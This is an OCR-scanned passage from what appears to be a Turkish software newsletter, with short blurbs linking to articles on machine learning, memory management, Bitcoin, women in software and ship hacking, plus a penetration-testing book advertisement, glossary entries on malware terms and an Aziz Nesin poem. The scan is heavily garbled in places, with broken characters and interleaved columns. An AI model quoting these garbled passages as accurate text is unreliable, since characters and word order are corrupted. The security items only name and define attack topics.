jisinin bulusturulmasindan bahsedilmis. Hem felsefe hem de
matematiksel olarak birbirinin zidd: sayilabilecek bu iki tek-
nolojinin ortak kullanimiyla neler elde edilebilecegine kafa
yorulmus.

Diger bir ¢eviride ise 2011 kadar yasanan iki “yapay zeka
kisi’nda anlasilamayan “kaybolan gradyan problemi” incelen-
mis. Bahsedecegim son cevirisinde ise TensorFlow, GPU ve
coklu isleme konularinda ipuglar verilmis.

E https://bit.ly/2ks8ww2

https://bit.ly/2jYm2r3

11:' E https://bit.ly/21AJew4
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Yapay Ogrenme ile Ters Kinematik

Yeni 6grendigim bir kavram: kinematik. Birden fazla eklemi
olan bir robot kolunun son pargasinin nasil hareket edecegini
ayarlamak icin baglantili tiim eklemlerin yapacag: hareketleri
hesaplama imis. Ayni zamanda ters kinematik de son kolun
alacag1 konum ve agidan hareketle 6ncekileri hesaplama imis.

Ciimle i¢inde kullanimi: “Ben kinematik gérdiim.”

Engin Kaya, ters kinematik ¢dziimii i¢cin yapay 6grenmenin
kullanimini anlatmus.

E ji|:£ https://bit.ly/21B9Ble
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10 Kaplan Giiciinde Miihendis

Gegtigimiz haftalarda yanilmiyorsam Hintli bir arkadasin
Twitterda yaptig1 “10x engineer” paylasimi pek ¢ok platform-
da bolca tartisildi. Hiiseyin Polat Yiiriik, bu tartigmaya yaz-
dig1 blogla katilmis: “ezber bozan 10x mithendis”. Yazida s6z
konusu paylasimi ciddi bigimde elestirerek sayilan maddeleri
“dogru bilinen yanlislara” canli birer 6rnek olarak kullanmus.
Ayni zamanda burada anlatilanlarin hangi konumda dogru
oldugundan bahsetmis.

Bu konu aynmi zamanda denk geldigim kadariyla iki ayri
podcast’te de tartisilmig. Bunlardan ilki Codefiction ekibinin
su yayini, digeri ise podcast ailesinin ¢igegi burnunda tiyesi
KodPodda Fatih Kadir Akin ile Ugur Ozyilmazel'in yayini.
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Yiiksek Seviye Dillerde Bellek

Donanimdan uzaklastik¢a soyutlamalar artiyor ve pek ¢ok
islemi framework’lere terk ediyoruz. -Soyutlamalardan bah-
settik¢e Bilgem Cakir‘in agagidaki tika basa derin bilgi dolu
sunumunu hatirliyorum.- Ornegin C ve C++ gibi dillerde bel-
lek yonetimini bizim yapmamiz gerekirken, yiiksek seviyeli
dillerde ¢op toplama (Garbage Collection) mekanizmalarina
devrediyoruz.

Oguzhan Cevik, Javada bellek yonetiminin ve sz konusu
Garbage Collection mekanizmasinin nasil igledigini anlatmus.

Berkan Sagmaz ise C# gtinliiklerinin 3. sayisinda C#ta bellek
yonetimini detaylica anlatmus.

Diger yandan Ceyhun Cozvelioglu, C#ta string tipini ve kul-
laniminda dikkat edilmeyen, performansa etki eden noktalar1
yazmis.

E j& https://bit.ly/2lvudvg
1
2
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K https://bit.ly/2luGVdV
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Bitcoin ve Hack

Bitcoin'in igleyisini kabaca biliyorum ama gorebildigim kada-
riyla tarihteki en saglam yazilimlardan biri olabilecegi kani-
simdayim. 10 yili agkin siiredir kesintisiz ¢alisiyor ve tizerinde
konuslanan uygulamalarin (borsa, clizdan vb.) etkilendigi pek
cok saldirtya ragmen Bitcoin hala ayakta. Ismail Hakki Polat,
Bitcoin'in dayanikliligini, hack’lenen uygulamalar1 ve bu olay-
larda olugan kayiplar: tolere edebilmek igin gerekli adimlar:
yazmis.

Bitcoin demisken Faruk Terzioglu, Bitcoin’le konusan bir uy-
gulama gelistirmeyi ve bu haberlesme i¢in Bitcoin full node
olusturmayi anlatmus.

E https://bit.ly/2k1Ugde

E ﬁ https://bit.ly/2k3sFsc
b [
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Kadin Yazilimci Olmak

Kadinlar, belli bash birka¢ meslek haricinde kalan pek ¢ok
sektorde oldugu gibi yazilim sektoriinde de gesitli ayrimecilik-
lara ve olumsuz muamelelere maruz kaliyorlar. Hatice Ergiin,
tiniversiteden mezun olmasiyla birlikte okul ve yazilima bas-
lama tecriibelerini yazmus, akabinde de kadin yazilimci olarak
karsilastig1 problemlerden bahsetmis.

S
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Bulutta SOLID

Kaliteli, bakimi kolay, rahat 6l¢eklenebilir bir yazilim gelistir-
menin nirengi noktalarinin basinda SOLID prensipleri geli-
yor. Diger yandan “bulut”, hayatimizda giin gectikce daha faz-
la yer kapliyor. Gékhan Gokalp, cloud-native uygulamalar igin
SOLID prensiplerini derlemis.

E E https://bit.ly/21BcBOw
I,
b
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Hazir Veri Setleri

Cagr1 Aksu, hazir veri setlerini kullanmanin kolaylik ve avan-
tajlarini, ayni zamanda 6grenmek igin giizel olmasina ragmen
gercek diinya problemlerini yansitmadigindan bahisle deza-
vantajlarini anlatmis.

Furkan Mt ise makine 6grenmesi ve veri bilimine yeni basla-
yanlar igin 10 {icretsiz veri setini derlemis.

https://bit.ly/2lvuX3G
Ofgd0 '
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Bir Gemiyi Hack’lemek

Siber saldir1 hikayeleri her zaman ufkumu acan, hi¢ aklima
gelmeyecek noktalardaki zekice yakalanan zafiyetleri ortaya
koyan olaylar olmustur. Gegtigimiz haftalarda igerigindekileri
yine simdiye kadar hi¢ diisiinmedigim bir siber giivenlik yazisi
okudum: o gemi bir giin hack’lenecek. Esref Erol, bir geminin
hangi noktalardan ve nasil yontemlerle hack’lenebilecegini

anlatmus.
[=]

https://bit.ly/2khénm?Z
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Kaliile
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Guvenlik

Cemal TANER

= Kali Linux Nedir? = Linux Makinede Arka Kapi Acmak
= Gelismis Test Laboratuvari Olusturma = Parola Saldinilari

= Bilgi Toplama = Wab Zafiyet Tespit Araclari

= Giivenlik Zafiyetlerinin Tespiti = Kablosuz A§ Saldrilary

= Givenlik Aciklarin S8mirme = DoS5/D00S Saldirilar

CEH VE SIZMA TESTLERINE
GIRIS REHBERI
CEMAL TANER
IMZASIYLA TOM KiTAPGILARDA!
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ARKA KAPI Twitter: @sibersozluk

et
RESIDENT VIRUS

Bilgisayarin belleginde kendisini

et
EXPLOIT KIT

Hedefe yénelik saldirilari otomatize
gizleyen ve depolayan bir tiir etmek i¢in olusturulmus, igerisinde
kotii amagh yazilimdir. Viriisiin glvenlik agiklarini istismar edebilen
yapisina bagh olarak, bilgisayar kod ve bilesenler barindiran
tarafindan g¢alistirilan herhangi bir araclardir. Bu kitler sayesinde her bir
dosyayi/yazilimi (antiviriis dahil) birey potansiyel bir siber saldirgana
etkileyebilir. ’ ’

doniisebilmektedir. ’ ’

+=Q

Siber So6zlik

et
BLIND DROP

Zararh yazihmlarin hedef hosttan

@& POLYMORPHIC
MALWARE

Anti-malware programlarinin algilamasini
elde ettigi verileri gonderdigi zorlastirmak igcin gériiniimiinii/karakterini
konumdur. Otomatize olarak slirekli degistiren, gelistiren malware tiridiir.

gonderilen bu veriler saldirgan imza tabanl algilama ¢dziimlerini atlatmak

tarafindan alinana kadar burada icin karakteristik 6zelligini siirekli degistirerek

tutulur. Konum kesfedilse bile, yeni imzalar yaratir. Yeni imza tanimlanmis ve

verilerin iletigsimini tespit etr” virlisten koruma ¢oéziimlerinin imza veritabanina
zordur.

eklenmis olsa bile bu tiir malware’ler
algilanmadan saldirilar gerceklestirmeye devam

edebilir. ’ ’
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Cocuklarima

“Diyelim 1slik ¢alacaksin 1slik

Sen slik calinca

Ne 1shik ¢alyor diye sasacak herkes

Kimse ¢calamamali senin gibi giizel
Ornegin kiyiya ¢arpan dalgalar: sayacaksin
Senden once kimse saymamas olmal

Senin saydigin gibi dogru ve giizel

Hem dalgalar: hem saymasini severek

De ki sinek aviyorsun sinek
En usta sinek avcisi olmalisin
Diinya sinek avcilari orgiitiinde yerin basta

Orgiit yoksa seninle baslamali

Say ki hi¢bir isin yok da diisiiniiyorsun
Diisiin diisiinebildigince ii¢ boyutlu
Amma da diisiintiyor diye sassin diinya

Sanki senden once diistinen hi¢ olmamag

Aziz Nesin
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